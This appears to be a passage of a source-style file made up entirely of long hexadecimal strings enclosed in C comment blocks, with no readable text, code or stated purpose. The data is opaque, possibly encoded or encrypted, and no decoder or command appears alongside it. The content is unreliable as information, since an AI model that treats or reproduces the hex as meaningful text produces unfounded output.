912f5d051dd229c64b5c45b9b3d8443641d5ccc72191dd4996d0fd5da6f8e55aa8e1028dc4d33a9c34bc5615567ed2e0ca802809627c78700b9636a65bf3f5821d30f3cd559a44a624b711e50ab59b37043dc5fa8a41d617d5015fb26c35449c518d7142ce5417c18ec93d3509994dc4bafd77a2f2d3a67f3e62e33b6ac308d4305c92fe2c93770d0da5af1cba546c92b1e3b5a92ff46980bd3e0191f3a25282382d31d9c2dbc8a831e9323bf343c845e65217bcb441cc0e72415e621fa0422efc192359e0d280346664a749df8377277cbd556dd1ad8c0b9ecc86ca0e18d969873986f42e6958c8b551a1e74efc844789043ff87f3f0c3dc14e42f24fff6bc79fa85ff752a79985b7656076c439367bcb5af334755cc5f1d4d082c03ccd1f2d28bc9f9d4d9d6a45218d02fabb74f439a85b31ff63b629f5f022a58b1a6c0610400772ceea47c876fe0f3d4e6306bfa882519d34583930eca98596fbad486bb0f232cf171358908233112f3f1419a8374e104c0449d4cb1812280897014fb27e161f69df75172adeb30e9fed5ed312a4491114a26b01b6e2ac197dc697d23117beeae8cbe41e019675b886cf59a09e4335dc7a539fdb515d6c9a6941e6122383756683f96114ceadc83a4318ddb1dfd1b*/
/*26944bae6243bddc2625a83d6015898dda010cf543f74868ceca5521d2912627c63ba28576f9638c7f6818e3fdee67ebf947a68b2ca2416d15e36d8998ac69ce56fa39514af4b8b2069a45d2d6b5e51772ac06902398cf95cafc40e369b83c434c62770cea982917bc7483366f7d96714d631c9eb8eedc50ae8affee9644d9189f1dc1ec8e7857f5b537918a682449eeff4708ca27e5a32fcb43eab07e69be7fad7a3c8244a09041e8ceae1b15732ea37bda81be43e32356c90a369aa2bb79f7665eddb8537aef435cd863e367546212111b92cc0a1cc9eaf24035023254ae224d0027d89a407e5cf666c78770ce6608ba7911f0b995b0b5aaa7591717deb64754bb9810a113223a02affe3de54cc318dd8b0910e2d286ab6b914426852ac0937a9bf02934c9610eadfd33608c3c21383bfd4b61687fea6e625334c51f60c631ea0f84ada252388fedfd674edadbaad3d999b7a37d37b49e4688957ba401c74b3a439e0ddd3b7f801d4e8f24561de58e1291a2126563790ad3c2da300065e7308df7a41251dde6448dd0773b4e81255011cd5bca1116aabaed66f0be8b62d1fa1b849182d64b39d53c401ad8c73468da77b263366f94bf5e8877da6ae99d66888279098682c92da5cfd52c79588075e5fa9259822838dbb721e2c0bbba3b7fb33b8c3d39c24e37978758a4794651d85d0b73aadb9c46f431a3803c5dd2bd6c6c9406791ab004fea8ca2e4af53f7f6dbe5cf7e2165e97e75b43b6e0a47608e93e5a7094e2797c9cbb92fd6359379c10a273f39c3f5b96c095bd3c8bdacaf96fb5cad54542808c2dddb6bccbbf181ce073dd4e4335437ba46514ab541ab93b46e039919c973f8df33b79193c05b210a4d0541578ce7b81d9569d844a861124be79fda81b75649457800e166b9ee564517ef1fd8685b989441505dd0b06b54ced8d6e46ed2dcd8335d8ed4fe26accb788e2ba3b85a47b400e1a370a66fcd787ce82c8dcdad0924dee88774c291c79a3f94af6fc5774c3901fc67efc00f71ca4e1cf053d9970665d25ccad8d9fcf7e811beead22d35a0dedabd5f217c66701fb1b07bfa620e678ec7b099a87ad6b29168efd2ae9385894d99e34a1e69094bc8f21ec3bed1b894ecdf28a076a493473fed0b29383752ef64392aff2ced786086c1418eb0b25ba0289e559fb811bee9247dfddab68f5f6aaaab24f9ef1ef9612a8810d59e5bf81857c2f76d5414401abc27e449bc3533bab8c7f5798ed3646ed901de981230e549ede53b84838adccbf1cf24fb903ca8dcda26fdd4198ebbf1418d8f1f2574134d509bb4df87a106e1911a07868bb5883b3fc9123e98ee900dc8eb222f601ddb606ba2fd2360f5fc0c5051c301e48131e95ee934aa3d68865b6e4c66fb50bce5e934c2f77f8e0529922dff3312466c85f40715998c1db73d5d2ef157e308dc90a93d5e6e45fb1e8790b3b318fec2c4c224866663ff98a3bd8bd9aee89932e9e861f5e7c013f16d8ee630364f389ca11771170ec4d6676dbc87d1b864c028d6cd93ed43dedbe20adb044315bf4028bdc1bbb6762023a6a4e6a0fe5d072328ccddbd7c3e969c908ada371e8e90a69ff5795f3ce539f6d8deb2b669db7b721a87232e584cb2758a1a781f52ea8c5d7993d452e85c5245263184681db57208db18a58e0928b1675876b67575a3a0433b894630cc92252de06ed30eca7e1e41f4240ccc47daa839055110e8286cce3ec46d41042dcf98be2ec73844e8317ecd62b91fb443ba3a9665335f1af6a31b0a5bb348a6f7f9021b5b0f5a39663ab6fc58a2a68e0525ebe35c61d6247302dd18284bff14f99538c8def7d6c2a8e3b7adc1f52621af305123f29b85c0575699ebae29972e010e83f712e8aa126f61e65197a8baa0c238f7af2d2374f68beaf9c23ddfd23cb578565ae8e3be805457aaae4de63b74af5831f69ceba09dbb2526ff1d88302707db9b44702c209578d1859bb4e7f6f94b8dce34f921a28c993f61d0669176834c03733b0d6b99034288cbcd359bbb41ea2cb4e95435e66f19516166a518526b6aeafb066bd7959b691d390e7b3aa0ea62d05ff9c2f3b1fdd1bf0eb60b2935e392412a66774fb8f33e352a3d470eb633b9225988ff27ceaf0cb2aa4987a96e66f0dfbf2bd17b2cba61bd126b7c7045f3fada8303783797cb0655e2939e35d68d3ccef403ebb54360e441fefb439a82e101adbbdf079fefd7526fc750338e8e345e8dd7af444d372eed6923e5a6733c0c6f7597fce6d238fcddea03c07e809d42cc7cdb7cf7db11fc2a2fd0b2f8e9b0bb483e6d614241c8c6f12defd7ec8afafd809d1ae12817c608a8785018f4d419181ed32535c1799ef649b81db49fcd874092977dac72df99e6bbff2c2773aacda6e1ea7a786adc01af001c28c98c0cdb8ec26086a55bbd44487b43baaffe7bb156abe9766c7dbbfc946679658468ba18735c6a032cd08b39cd324dc1b3696702d1d324a0653cb1f73b9482af52b6c716729543bf9cbf6ea67b71b8ee296a0b65ed48b10eebba924242f3a40e872b06f7d8be3c01a51763c2bf3b6830eccffec277a0fb8eaae4a4a4dcf84ce5dea2b831cb5af843479a0ece9bce1b181499f92264495628e7aaaadb46d790bdf338a83ff7c75b3d2f51c936a516398c437cd0436466e2e706f741d38200a02bff9a5025b68316fa41fc63caba425380db10713246440cd81954d8c423969fb2a28bc5b241d0369d69250930e934c30e14e4a891f3a10f9ed05f3bd84189c7b12c58322469b6e98b784a96ff4f4eba12d2cb3d6968d64f3b2356abc570127f5c2*/
/*bf6460167280cf67c720d889232f047a3d18346194289b80f45c5d22c511e10fe020ce5c457cbfb0b06b640c4e47f70824105577540e8eb77e02dcc2a8b305ee5f2f64f090e3149e68a5e3b01307168c89c15ac062fc9c68fc422a37f6f2562997f8d74e79252950a0594c1433bcf6c028073a4e6ada0ab8a2c546e4fc9474c6f212222d3cda4721745a99b0c7e61c48c8c62d1e918c972fad64c9c3943a1d98d1fc9e4cf3787326221056e68f41053265964de472067c782b08a80cb8ae8f387bc8c8403916e7eeffad788bece5e5b1b2cb7da0652ec1c71de62ba366d1a04f0c01060d98b45976afff5ac5c4f7749992b76273acb0ec38817717929742a4acc27df01e1bdd7ac0dbd3ac9bbe4a20e83369c48e74a8dc0a344ed6d2d4637715f660ce00fc529ff166dc25b431e74f4e9580782f67ba1568836d29e06b749d4988736fc7c4ec9a4f3838413a0505106d8c61076c3c06646b107135279942df0bd2f96d58abdfcbd154928837b9bee615134c35746c5d1d934046a414a6d3cb951d7198dd0436a03ced404d60079808f86a63136ad7c694b2eec360c2147f9a0b4c9625be8898500419988ef68efbde22c230015e6e7fed1cc6304a72432bf4efd9d5fab497fd9987535cd6801ef59252d68ad1b7d4ede030f45b88a030d9c507e2a19c7dfc7aa6bc9b203791325f874230235d46abc67f67a53da09306055e690d9ff4ff519dc6c621dd13ca853d41ee7659f6a2c4e3e1d5617ae6cc22f024c07981d4cef36e9f4e4accfd27552863ce41258b0cdc071577976d60b2f381eca9ee26d4c0a5ba248215f68c973ac4e48a7a18a5c49ff6bdd39194a090bc30a11c6e9cb1ba66e2195b091de9affd59e08d229cecf004587863ea2d66e8ffd4b6767e981b38c881a3efa0f653e0603eee2c1b69671ec4f0777541452bfd893728fb074e785816e2087d81fc3f1cd70b1874bccda5b06529cc6391da9306fdecc2cab492997e287a3d817c8fd89a9beefbcea3703b06efe4175d1710fd0946851a1adfe424353a00c9dc56aa7688eced991a44f4b0f5d1328dbd4b77385f94a514830757a703195007fdf378d2282ff4996c2fa903ac8e4ce4cf727aaf5f8bd259584a282d1faaaf832cdffd66bd1cf5972c5d5f063346f6ed1b8b243bb9d6f565d14658265b4081470be0b1b78c0343b37c6b67443aeabd4ee7885803065080cd3501a961f0d8a2b1c4a47a48386b799695d181309bc1d9181c1d776c7b1c078144abe335595c45285d0b5923e6cbfdaaeceb1fcf044fd929d8eff7635cc5320d9179456ca9d2c9452d825970a12423143721c4035bcbb24d1cd137d9bb0f830b32882701951a253880c2142c39f189b8270641456a7792c41e47f67d5a5ec3fb7291d8e6a2fb01409fea5c76556d77ba0e112228694cdf029492bb2ef60f13ac138ef90bbcf4eb0497140506d4d08eaac62e3cdbade61a4de16c988a4483e10875c648ba7c66a181198deeb96aba67086fc27afa1109713cf57c0a9e012467d6634f1bc255c1d44751c5ac1a95a7cc871a15302ddcbb0b256aded20b46fc5da10b9f2591a4de3ac2cff2ca30fafe7988c836006491fac3b4d9fe3795b1da531b12ffd1ed7fd8abb70cdf05c08c04ad8170e93f3ea898e14375cf3d40ae530a9b76794afca708ebd736db0e1c8c5921fc07db8561c2057428052ada6e7c58e7cc1dbe7931610370fbe62bddd485cf2fe6d2731ec68eab627cb890eab964146a3cb1dec585f5081742ea7b819c83c6f0abfcfd7f9cafcab9976a109eac4c6e6d87d04182499ad88ba65ddb5e63e4d99c25047d5909c032aec45bb73e52ead8302a00a5251fea7d3e8b300fc0ce1d973ba1c20390995894aa672676d963d03f2cb3ef28c3b19bf38852c42015e78e2df673730ea7f7dd9034a56f85eea2b28ba74ea065c5bc81c8089e08441f9ad145cf2cdca161bd748f00185a28fb06badcf4ee9d2b7d3b49f9ddebaa2d1d07da7e0ff60a474fcf29e2d0c9a7de854cc0bb7bfc1ce3182111442358905055477089b930d0167feea16ff739301fd03f2f930ad6163ef6b3260dd454b249d9fc1962a3a3529b3a5af1a714111b8f8fc50b779774dbb5221fd6b7b25a182492fb29ffec5e260a7f4e950286bcd393313e328252706d5a815571c971be5ef1cee5ba665807d0d736eb0eba969e96e80ad577c35093f24b5e33cc0926ba7b9317544ec156e5555f7e5dd0304d64a0b02db80b8a07437776fc0f04f909c16d3d19b05de54c553b401adf83344871108a9e10b72d0f10e3a28d43be1388b17abda69a6791e01f71c2cbe3a843dcb864e9d2f88b36f8b095c998558ac1055ba47655c0b88b03fd6ed59c09a571bc1c12978a531f5b7869e64db3298aba255320d47bdbba344e57cff18fb2496616a646e274fe2d7eee95d4a927baf9ea5fe4ca8b5d448be52b35207c7da9a3d98f82be4cb9b70c60309be8b8007799dab9146e45bcf1c644a728e13bf5c3085991b9d38b999c1467e8382dddda76f9258bc761f050eb8cd3fec880ee48c1a498347fc0d2892b15bda64bc5296ebf21913d4e37eb0c1d2017bff1f4bfcc369380572c85d7bd0eeb085adfc8c7aba2b028964b0e9e7be0290720a1d3a46ecd52e18099bc79c4811ce5fe566916b3debe96c953850b39a444723be4301b2c481e16a732146c8bfc5d6acc2d471bbed932fc53530650585707ee0b6d11c4473347f0c0d8a5565e6af01a5fe5df2c70c92d670d55ca5f7ebc0475fd8d4b86b9fbaa57c94af2fb20c6a9fb4ee86f3e7fe9416dc76cb1f84303b9a08db69e*/
/*0dcfd40eb0b979bc7c5ebe1a381c0754a6e49bb643c937216e087ca36c18e2c6bbe4d2f122394149573480700af691df6dbb4cd44daec9b001d602bb55617f1d59d291b4d390f3bf51f9477eab3b1a594a8996d201424d3a1cca8d972d580a2d57a31a7c5279a858a979afbe67ae813d25a1e80ffcce436448c42fb71f383f4c10c1b20b101f3f5814debcf4a3ae74971796029f6000d0e5fdc0297c66f162f5bfb3e965fd6e4ba0a37f2c773e35deb93bb2ff0a0c371ba84bd5102b919fecdae6837d6adffae839b63a90f75ae07dbf632045645ff4ee1c94f3a031f6d2e6cf46c75fcf84a0c0ebcb79e17ab716b854cc6ba038d85168cbb8da0da24d2b66c3ea7bc6979fc23128ff0628341e171e0246710935bc1c6c6c574d2ececf0ef7875c20b23198154167db4d711990653db6f6c52ac685370b0f4506613db0670605a07f5305b4649f5db9b3805bce6fcd54fc46c9fdf3fd59fe29411f3e5a0c646121f240f8c1d57cacd5083d6231edc053b49a8fd3b0202efbaa745c417f51215665c995273f127c0bef25abd0be855e62fad92d70c88d3d26035d6e1ce62867d191b8c20f1e731fd5a96126f0fb2b3f752bf3cf450eabfbed6de710553712725a8d5328d21e0c588aa582919f950a72be31ec78e73b94a72b59e39e42f47213a97c7036484bbf0367b48cbb44d1d456020635f220e2dd8c8f23fd694e74129cd5b36d9a787fd719fe03faf4771dfd230fc5b8d8fcd55c251a47cca4e107319a9bf20ad031409b85f1eb7cb91a6aa5567227e52802d8cd6d148791abc9735cffc2d68d46d29469441096f2d35939652d9475b5bac6bf815e479e8aee99b4eb396de88005c8de212f9cb25de205359ee5d01041d0bfbe36efc7e4e2663d00a5e0e630a9b1dd2f67ec4b10bbe52721df2c27022b36805a6eef6a09ab36b55773fb7b0392cd91e1ac4e105352fab64f4b52ba68d015afec9f5e590f2e85bd5dc4ad720893f884fbfd57bf602b70284f043d4f972931af393e5971f7bc2e962b233c8a1d1777997ea0fd811f497aaa4837164b3bb0793ec28ef08929b2a5a60d7f435eead6c490cd03e5b7cd6459515b77ec0126c5a32f216fbe9f6c04db9854d5f0b11f5709f2dfd04bc581b5ab3df9a3ad8a0dc94e81d7e932e33669043129b78569e5ebf706d92fd7b4259d8ba90363e1268c8ff68b0ffe7fc716c9f3e6ab44743b168302518e2f24c0e58e43948142a20120b51d78ee0b2a2def6382881f9c6d074937d440c911ff054897e4a78cc0ccb60f08c5914ff7d83a1f55ef3423215bf645b1bd3196da56c3060cf8bb60446aa1f8ed617e21713c492a78ceb65cf6dbbe5e9d57f112412e3556f940a89da532c3a82f2d259de15224978b058a98aed5d8802259399f8cd2cc137c4f99d9b47c0232034d464847e9d43e856b6c59fc1a990251e119fe840fc92da22c65f7fe048e199a42d46fa00f4f921f74cd082c0a13750b202c004c1283feea1625faa5ed42e7270563e5102ef28dd888ef1c6bc185c90d26c0bac8df5dc141feb1956e8852286b1eef6b143f856c0c6d2d57aa4d33224146c8dc77c1785707abde4a029dca63d44592794330b107668b8c678a60bb47e9016cabbd13140f91201ed29bb1f1d1e9c6aeae8b2602b70107443c1e76600cd00b07b9e36f5db525e9e5c48d14b8f428b6ad9ff6e7be1be90f7a0f9890eacbb5d88fb6adcec23105f336e26897900fea5f4d9817d5cc0af558d144b41a4bc44684b9417b12d6155eb9727fc89dcf7d6fc1e5d127c0523b9a48cc489a3114e4f88935c37491b37c52c8726d98fd8ef66fde2511f7130f96004d2cb840ca148cc9b5d97e10310b331be32ae43cfe270203f5a7f55269231f2e9fd3ee95aaa2b52f5ee4c435066afce52ebe01927e9fb0217913cfd9cef96a52fabe60ab106f94c1f9286589c200544fa508fe1622e1bb11bb746485657577aa95d6a363a6d8fb57c40f4cac3f257c11e5058f189606e42959a6107de024e8f97c5ef7bf7731da8eac5ef7614f56678c8fa59bad8a4ca367cc8dbd7f77014b3e777a95884889749f0ac3ae4e2f453ebbca99dc236d4c21d78a5953e7a59b77f8451727a9ad94b29212650b54d548c0c4e2ad209cf2e616204a261d0f120bdf4643ab4c136b68e12365eac158f322d0a1fd7487f269212face4c10be5a8b70a408c9f3df8b801ab511d001f0061417461fc377de669ac7ac133054f18930f35ad2806129206cdae599802e09077e2eb7be72ea778a067e5bd8c5e8a4f860539ace11df61c830d966c63065ef29a6035b98417dd768887574231dba7c04cd50515ae19606b9e023ae09f521036494cf3f3d2c935908d51856b3de7bf635a8e265f934b983cd5287875948471782e32999cdba777d7eb18493faccbbf95706c20b760ed5a6db1b141b660d6166d568eae88d55cb9a2f8a399a455113ffa5c628d61bcd4d8e15686b00de351fbf9a9497de2d48a2de5d2c99282aed242b083f78de7c26216c899ed9225056f2649d16d6288ae7af53266493faae38001ca78ceb264f74be758916cda9357064327343d99e49fe8a1fb1e5ff28ff981fa60ac4428e5c9fdf939186248ffd8f48531bb12e5e713ae984e40bc439e54b939f45581b987b10c11cb450c97c8398146779680e2409ee453f60f50a881bf277639712a4795f82d472ed8bb528363f01f891ab49aefea63ef05b8b28c60369b1f7bd87cf837d00a12d13e31074651e97a8983639c990eb53ad308a6dee3ac65bb713f3812e1b1e6c40858cb5abd0fb8c9857002981c208d38eae206*/
/*99ff50f68b2bc1f50869b2ce53c77679ce2826ab7f4cdf8f08130c8def2040c43184cf7d86224a835feea55a07593581474cace92dc515f29e5a20ddcfe757671c7fc8e0368b13a91c03eb824d44839a4a806a5496692ab0580d9acdf44c16daf622ceaa015fd36d2977255b448055dccd074cad0db69364216ac595214c7cb791e549d3dabd5b727ac5e8a82b3ff509cd45d78bbea78f1465019902eab770de7db65a89ef3f5f8367f53283e3c60ae5662c505a5c025d2a53b7a6d62befbfbbbeda45438fa3830f44903993ca264201f849e2e654775472a9bf30a6af91b10d876932fd4deb91f03d17eade382bff941e11d179a640fd33a3a80c292093af2977a01d567043ceb35f6ac4dea3a72f2e24c95803e7458992d73de1189d07ae01e9303cf6c29afcb0ba06b3e49c75121dcb859e85ad2e537e57dd2ae77b67adc4a8bd0dd52d0a20714634eab4fa2d4c2c08dc17b901002c6ba74dcbffe7e8c333a315a427c3c4b7b0e5e8611a9dab27ba8ac0a1f99223161c961c31d9f09764d961fb8190395d1bb02c57d2e9f26e97ca16a5dc9c5057530cc675b3b5e59a124b65451fc3d4a9f38fcf484af6f3a3c3cbe212fcc949a2bd0ad594ca3d93eb62e955e479a4d8d572c47a2fa8429481897931bc73cf2fe4565493adcae2a47fbdbb3cc03140b5bbb292b7bf14a0e0238e0942e10dddbd12d652ae9dea1e7b45ef9630cc21b4e9ba26c70023f285015db67e585a77c9bb4bf2cff6641fb4703d43b6767e3abe358a2bd48b042bcd6a8d89fb9388cbb64eaec07ad32c7cca3c11e2126a7309beb1a6d197885cf0a100a34d5b5a83e85f93c185cae30780d0d86b190edb3cf6e6da8a56c854bdd44123e6c2b5af620f550250703a0759bbe3ca6bb7881d4300fd81b2d661c2645d500d1e0c5aa3e0fcd1ecc93e2dd6bcff386b3dbd6fb20e5956b8c265b1659c97e09952d06b413f2e2c47f66d22c239ed7fbef8f101c315d94eb406e7091296613034a4b51d4ba5420ecb6d0057635455eef59cf2e8b097cb05061abbaf0ac06a521cd4a5cec84d177804e6ee67ae1d8a0797cf215ccdb0851181e3f0b24c40354b86a798ebcf319774f21a397f8b375d07b89bacaa0e68d32b41a97a61ba6fb73b833bedc14fb627e8b6a1a6f752c585228c1a8f413c3a99d50b7d8379b81c48435681a43b407a5195c28c34320d13350b9acff1314e8410fdc8e772c85e8857af4e0313e95509fc4dc0a2fa1fbaf8968d86a688ccda2f62a5574e90c9cd3f291ffc19daedd50797f8a360fe3e3ecd39557a39bb3c562df30cb9549ad6a1575f8c26f3242f3470a1718c9e627b736a0d3f5d58b963147f14bd75279cfc5d02d66f8e56d3633425252d0a9605823348040a3688f47d59fefc607d5ed2633bd4eb8087bbb357d55e402e4e9ec1b5bf3613c10b9094e5a51cedb3cd18d65c5a48c66bd2c13b89ddd02b21cebdc3ac9512b182c52d66187fd16ad27668965af7d379ae5912e566d6da7f0713e3ceb5d88168a1e3234aaac21fadece4d194e81417ce843fff1d059d352226bd77c04219531fabff28a68439dc9a6f8f997e7d9cb01878bc1e196a00227a078b2e10e9539808d712e82993dc4776bea53e05f15f1869e2b5479422ba83008f1827d1c07f1d135e971d8b9dc0cc098adabab5d6bf59b999e1464a4e0b8d63b15e324e6893af9496a433727af43cb4255b4d9f5b08d385028ae945e71aed870f5914f52fafd430e4dc1d9782be2416b69a696335d00bf8c07b4610f88b64773e4b8ca74b89d315da14ed8c08ce7787e856c6d88adadff8e02bc3060f468f3df6f2f024fea5fa414ac266bb85cc09096d118a5f583215f14e5a858bfd5b3daec30087e20f04ef8f6fb944d4777f71061919522a03aebc2670e69ca9b8e2487e28702c0a0cf81a37f6ecf891418db3f8a3780da5c262637ba83e6a322c10817fa07ca132ce3a633a2a87e614b08c095e2c939c9d4c3fed93c14ed22b3310af74a212f1af92d6a67f6d5f2e12057b58c61311be30bd92cf79321c81b28789c7fabe66c07048bea397b135a7a9eb8ad3aea3a380ebe7eac0a0ee64c100ea130434aa2805c5fc0bfc8a6e6148e8c978966255ad57b75107e4d7a4577ada845110442a8ec186ace8a19a8efc30f7dac10bf0e8716e593c98e450fa7600be20c2f409f0c98ea29bad832e30ad9f83403476bb10f4ca6be169502bcf6c8c00854a8e62f6c38f95111b402f51e50dcd3a2722a013baf884be09d3040fb89edb856f11c9bc505a575486ff174775570d99307f49c8d808a2ddc9e8cae7e394c280a410e93a59dc20adc90f2bb6a1e5c3024dd80166fd6eeae0aed29cdb85b3b2acbfdf21724c98aa32d3c9e43bfb5ebdb16d3f9b16861f32280c91798928712985b50e9bf0bc36887807e5db65bc884a9cac5a1b65a2e457da35763be863410b28823ea06c71b72919f3cf94c004783b47b558876c2a44125a58c48fa7dfa88b13b6c142ba9f17c435e1a0b8f95b29d551f3063ab37fce65b9e8479e51752e25fc01b85488aa6326b4e33e46bc25172371a38f25b375bca9cdfac03729ccdc3dc195941733f2e1f0422a98e45a682c15d516b5367982f22ea0244541f7c94c589f1c196d29c451f702d26943d17cf5a173924f3b4e5cb5eb1c5309065ee28628ff085dd30267031c60245cc7772a89b24458a5fae6c180c253bc2afce8a2bcf9f195e10f834a1e3d3ad9148ef7d93c34e61d5b8dc44ed33783b2c0c64074aadd40f2973256504af4c3ee5bddb77b137d815bcdc80b1519f608de9489d2fbca7364*/
/*67a7c9ab633884f02e55c82fe23e74c366c694ceb3e63654249bec0930515e3a4bdc6244409795db57dc792a8730703fc18ec04c63c9a7ab1e385433052a5d7a6f2ac7d22a505670872eb1efb4f63c1c9236a9b149d2ffc5a6829bb2531f5f58c13ac2d9d5d4f2535aba8a801d124dfc1c91d4bddfd8c5fdde1178dc6d5b8e3aa638dabc6701c86eca97b0bd6519dc72abde4e87e049267ff8cedb1dd487897d11dbe7954e419658bf5311b498cbf93ab9ecd0e663b4c8c41729a375ed2410c1d31ea42d57298725e91be0e6f26123cdd5a9a7367b37932120ac90aa5f483418615ff17d09bd1fec6f3eee15ddfe98d60547e6291633adb394517d82447a02bd09f038a129f23ff4bafb4d0dc12e2a592829e301b82be2465af6d2511a6485fb00513416aa14c43ee713acb30d00f78d33664dfad5441d7269c3004afb515a637d13b711fcd4b153178ce5dc9e91021e1651e12252195c0cc0d427f877c3897741cf3db5c48a0f7278205585ac9e15f8f82264c8dac543b288d95409c7d19acce4f9f9b1991bcb917b1d79854432b326ecb1cd980b73d3f2f32cdb65a02ca4335b3bace481e323258110b089d1ff705c562c053d274272fbb0c3ec684dcd59073a062465c645d9e4209e25478c7d478b48189e5c54fc475aa2b42ccaa893484e1a89648b7a2ffa63fc90927377ce754491386ffb7b24b4142db20d4b13f698a5fa9a6f278c07ae4d52b7110261b20426e685d04282792716ff0d116e053ac91e072290e3dac0f33cc0a71f22d094e1fb17c4719d9e19fe35aa6c9596d125010b5503f8cd75aeb395dc9df0c7fb27cc3418ce45c933ce644b29c008cb9d59dc1b1678527dd2581ca66676910190433ffd6c305d1718ecaf830b6a74520f063c45b7f8ada081d3aa59df7cc90022885257978e6daf96940dca895a27ed6346679a20e2d75605523a66caac3f58a73cf9626e742c20200ffa4791f086b9a36c7458375e69af319e2c36d5a9625d49a4c85680e9b5857db2786bf2df772bf4dd67d2c828e5be899c69f7989acef6d1bd72904c7554266f9adca2f56b87088146eb15ac260f6a61e4ea0cce04a7051ab168ea2f46be6cfec784c05b8d7ef85f680347ed3355afa5db8817edf038057c949a6210f01fd522dd412f81541078e0d7dccb9250ade7c97914b0152241964663405d537c6b8bb348c57cbeca2308aa9788940c5d497d174da644f605300f9c5d6d0a4462ac856c92ece026d76053e7e7133c29f6f6bc19de57f47b6f87b92cd3cc67c6d3f80a1d97593eb109be8e4f24187d89644023db95a675110bc2f0b0a226da0ea7b437f28cc314a25482acfd0fe02af0db3b95737b4a34c85ec3a1700e1d768bfb52d63aa97ff35858f5706ec42959c030d4ff5264659846fcdb8e888995c302d7e22ffad5593a2c2eeaafab8800b667f8e664d48966b087d91970f932da62695e293b40f7e0f5be7c21d7c4f4208c1d2435bdd2b4b23054971ce19974d43ef5fb62166df4b076783b2495daf725553a6bd8cf2efe57824ee1bfe51c36496d338d5cece021b9af06eac2ea95bcc79acbb5d99064347630fa76e4a46936754ac17d0c8f846c227377f20e079532f0e881d993c42569de724fcd2a7b6aef1766a8319d5b2fc21690544fea525e4d6c7debc5e3d44b3e2c61811910adaea097f07aa90850a09eee199dd90ad9dd4587b3f5591eecf698f71abb436b99ea02c1885d5548715cf6babeb73923f3b612d07f6c6782744007c3c8dd49ff8741fa5ec2e08c4a9328f6c2093e73fcd741976ba2dbc2ff0e340256c259bec6639278406372adcf5d244590a641198a36cb5a3472da23db0716a2337df13e6d067e45c5ec83d0ea3e8033e289692e998c406233cae0db7fa684ffe61caeba621db94fea254d5e1f23b28f5a25d527fd6b91414e90c10e02f27fe2cb6fcec3f88cfb2025916e217b57b50e15c6ef69b9ca294232718439b163add2df092c1736b593bbe0ef981349bb34e88ccaa62c37a6b4e8c213c4c8ac4f5d246f6107a25c3443e687a3d289815ebe68bd1dce33f62e8d693530e32f2518a7f2a3bb73cc1a7f736a2dab5961580acb9d4612bcf36038e817a4815681a21bf7729d2709f5f09eb4464d8fd69bd63b8e09801049fa2f09271d7bf64ac458bfb154a2391f66f6f782350f131d66ddb42bacdbe1730a9ee6d3d9c0b22fd9326b2ad1aa54daa52a887c336ef9035798df2bddc053d03418826969ba6bb14fe819de156c48e2f3f846ae7625da97823ba586d0e031d45f3453c0ebe2916c78916d658e1296159779c9c2ac6340eb382672c60ecee07b474819a665c3a7bfe556b98d6623ea3bdd973432a35041ab26ef31cb8f502acb656461d95fdfb1b024d216853be469f9b301afa6ca7d548835da4f2294d41e46ad0fe54517a9d39eacc810d9cbee04b2a33139982823a0c0f040e2de2b897497c97197705de0945a0a232dda594f93ff6d4c1992592bc70a58fb13bdb8c1df65cdc22c47fd7318a5df0bed538da074fb725636e6398ed565f85fd124643cfa1dea6fb7e4345ee24e9c236a8f4417910207f9bab78806c0be33500933cd564d0fb9056033517ac089b855981f41162d37b17971c6e8a7857a4ce3d5a7e89ef5cd6d448217d7ae3197c21e1bf8b8b6270c313c7929c69c4781a739a873541b28a0993afa9989a727926eaba29a4719c9f7aef1d9ea36985698aad5d1fdc2632af4e71013684222fc087c09457c5c97030e7e357673649ec98e8d6b6e849f156014574058d700f7a1cc4d18b1b977f926211ca92cc3d3e075*/
/*522eaea660a881a6f4e23070d1b966e2518e00293aa94428925e175beba841c28d52e5392284ccf87623eeb0e8a78cedefc2bfa218a8540f871d180097728a505e6d6bacab9484ed928f99ed6211efb1cc7a55624ba977bce02201d8bf3aa90c0babe7a33e8c6b337e733eb2e6efc1e60d178d823459ab39d6b3efaa81ea741d7c4fb5ae508a82398391e3a3ae92b729aa3aec7953178975d5809d76ca46b1817d770f630e6df6e02854d52a30e47ee69ede9958f912b3a802e54a6cea3c66959d089afd47416666fe3827609e0fafc3b5a996b7755ac1f65a60b6e38bf2440c52969d90b2d053084215d662ed106a09508666d4a4991995f463b884feb4b4dbe4bcf13b7759cd7cc6c83b8b9f45d800a7b7e48ba4188dc295d8f330d0da101fd4c32e071f1495313174aaa88f28bbb83c0cf811eb2a59f4275aa441dc5cd280a7b805e2cd7a50dcdd59b7fcc088b0fefc50ec2112691322ded17be0ff7dac17a7f7e43f46bca5700f70e37ba9509c78c2057b63d865547a0a0827bf68a886d6c48988acb9948f90313649f8cde06bfac33f32b2fff4232456f3602496fa123f9e50362bba9c58237e1e9e8e5aaa47bd18ec64399a487d6dee00b328b03f755267a17c94f444035a3e331deb50c82bc54a9bc9b72316d5dc24b66e931b9eaa855db4bf1c4de42a461dab19ec10f9f2b17eae250018a0064bb432e524223e10954e8d0c8d814d2de9bfeaaf7eaa2becdf5b4ec61054ca87765dd658d12752b37797a3c6a625239b9c733d1b9d45158da622c7c116a904c29037f2ff14cb5766983b1d461771acd00d97012c813d81dbf50ddeddcdff81a06f7920203c7e18db0d5f7f19b8f470946899831cdcf5bad0bbf9ddddbf658b6a2c6486fd1e88fbb185e878d9b3052647cab3ff26dc0c9c8769f9fd3aa4348f59b3e21a738bf97a707fdc7c67865223010a75b7d45c11c24017372ec1ce5e6c3cafa9be6c19f0d98d9f9e22a2421d66be40c6a8726f2586843c744f1f5af38966c5fb5ed456fead970ccb1d57da9ed59016f54d1ca90c134ace07733a33ce7d4dc92a2f9af35e10e9efb2bbd438d92b6dc31b48bc342907c8cb5005555ae3326ac593b53b29f9fc53f3826dec04e063336063fbd8f060c2fcb0a74f148ff372f737a18fb1927ccdc870699c9829751a38dda15a24574ba17fa993ea0b59b88e498919773de02848ab02be8b6423a32a0c7e1e7c374662ed18a8340d4525ad7d152ccd33e193f15f187e533d84af49cba500d7ac5e2f0dc14ada8fed0ff5d8af0dc8bc9df9375dcd6c226ff414f92ead52ec4ef30b9058c5b69d4cc41c4b74d6e228707f576c437109acfe3b8c636744004d33bf61e10dc4687acc480e0593635e7ecadd73dcf0c0578e9803acfb2586fcbb83f8c5d83d098ff7ce5b9d8b6f62e8c7c0eac400e80542fbf300e429bcb7894b3dde8b3bb1ead3838048713ef5a63c32c5d1f46c7ee3b20b67edf505c3373cb3a2b88503ccf9546054f25986148df9